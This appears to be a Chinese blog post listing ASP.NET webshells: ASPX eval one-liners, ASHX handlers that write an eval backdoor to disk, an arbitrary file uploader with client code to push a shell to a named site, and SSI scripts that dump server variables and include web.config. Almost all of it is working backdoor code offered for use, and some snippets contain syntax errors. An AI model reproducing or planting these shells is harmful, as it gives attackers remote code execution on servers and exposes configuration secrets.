• ashx后门


    一、标准ASPX一句话木马

    .NET平台下的一句话木马则百年不变,最常见的当属下面这句

    <%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>

    想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木马,只是一个简单的上传文件的功能,实际的操作还是大马或者小马的操作行为。

    <%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>

    二、ASHX一句话木马

    ashx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

    这个马儿已经实现了菜刀可连,可用,还是挺棒的,但因为体积过大,并且在服务端实现了大多数功能,其实更像是一个大马,只是对客户端的菜刀做了适配可用。

    二、ASHX写文件木马

    木马执行后会在当前目录下生成webshell.asp一句话木马,密码是pass 也可以写入其它文件。

    <%@ WebHandler Language="C#" class="Handler"% >
    using System;
    using System.Web;
    using System.IO;
    public class Handler:IHttpHandler {
     
    public void ProcessRequest (HttpContext context) {
        context.Response.ContentType = "text/plain";
        StreamWriter file = File.CreateText(context.Server.MapPath("webshell.asp")));
        file.Write("<%eval request("pass")%>");
        file.Flush();
        file.Close();
        context.Response.Write("www.webshell.cc");
    }
     
    public bool IsReusable {
        get {
            return false;
        }
    }
    }

    将脚本中的Asp一句话改成菜刀的Aspx一句话~不过执行的时候爆错,说未知指令@Page。遂采用一下2种方式解决:

    1.用String连接字符串

    1. <%@ WebHandler Language="C#" Class="Handler" %> 
    2.  
    3. using System; 
    4. using System.Web; 
    5. using System.IO; 
    6. public class Handler : IHttpHandler { 
    7.      
    8.     public void ProcessRequest (HttpContext context) { 
    9.         context.Response.ContentType = "text/plain"; 
    10.         string show="<% @Page Language="Jscript"%"+"><%eval(Request.Item"+"["chopper"]"+","unsafe");%>"; 
    11.         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
    12.         file1.Write(show); 
    13.         file1.Flush(); 
    14.         file1.Close(); 
    15.          
    16.     } 
    17.  
    18.     public bool IsReusable { 
    19.         get { 
    20.             return false; 
    21.         } 
    22.     } 
    23.  

    2.比较笨的方法,看代码吧

    1. <%@ WebHandler Language="C#" Class="Uploader" %> 
    2. using System; 
    3. using System.IO; 
    4. using System.Web;    
    5.  
    6. public class Uploader : IHttpHandler 
    7.     public void ProcessRequest(HttpContext hc) 
    8.     { 
    9.         foreach (string fileKey in hc.Request.Files) 
    10.         { 
    11.             HttpPostedFile file = hc.Request.Files[fileKey]; 
    12.             file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName)); 
    13.         } 
    14.     }    
    15.  
    16.     public bool IsReusable 
    17.     { 
    18.         get { return true; } 
    19.     } 

    然后用VS建立WinForm程序~主函数里写:

      1. System.Net.WebClient myWebClient = new System.Net.WebClient(); 
      2. myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:\ma.aspx");

    三、stm/shtm/shtml脚本

    虽然不能直接拿到webshell,但是可以获取到一些服务器信息。注意stm中的include可以将web.config文件中的内容包含进来。

    <!--#ECHO var="ALL_HTTP"-->
    当前文件名称:<!--#ECHO var="DOCUMENT_NAME"-->
    Web服务器的名称和版本:<!--#ECHO var="SERVER_SOFTWARE"-->
    主机名:<!--#ECHO var="SERVER_NAME"-->
    端口:<!--#ECHO var="SERVER_PORT"-->
    客户或客户代理IP地址:<!--#ECHO var="REMOTE_ADDR"-->
    客户或客户代理主机名:<!--#ECHO var="REMOTE_HOST"-->
    PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路径:
    <!--#ECHO var="PATH_TRANSLATED"-->
    客户端给出附加路径信息:<!--#ECHO var="PATH_INFO"-->
    <!--#ECHO var="HTTP_ACCEPT"-->
    <!--#ECHO var="DOCUMENT_URI"-->
    <!--#include file="../../web.config"-->

  • 相关阅读:
    CentOS 7中搭建NFS文件共享存储服务的完整步骤
    centos 7中磁盘挂载重启后挂载失效
    smbclient 未找到命令
    Windows共享文件夹无法访问,提示“不允许一个用户使用一个以上用户名与服务器或共享资源的多重连接”
    CentOS 7下Samba服务器的安装与配置
    Systemd 指令
    centos7安装samba快速入门
    springboot2.0集成RestTemplate
    unknown directive “stream” in /usr/local/nginx
    Nginx——stream模块
  • 原文地址:https://www.cnblogs.com/Fluorescence-tjy/p/9855828.html
Copyright © 2020-2023  润新知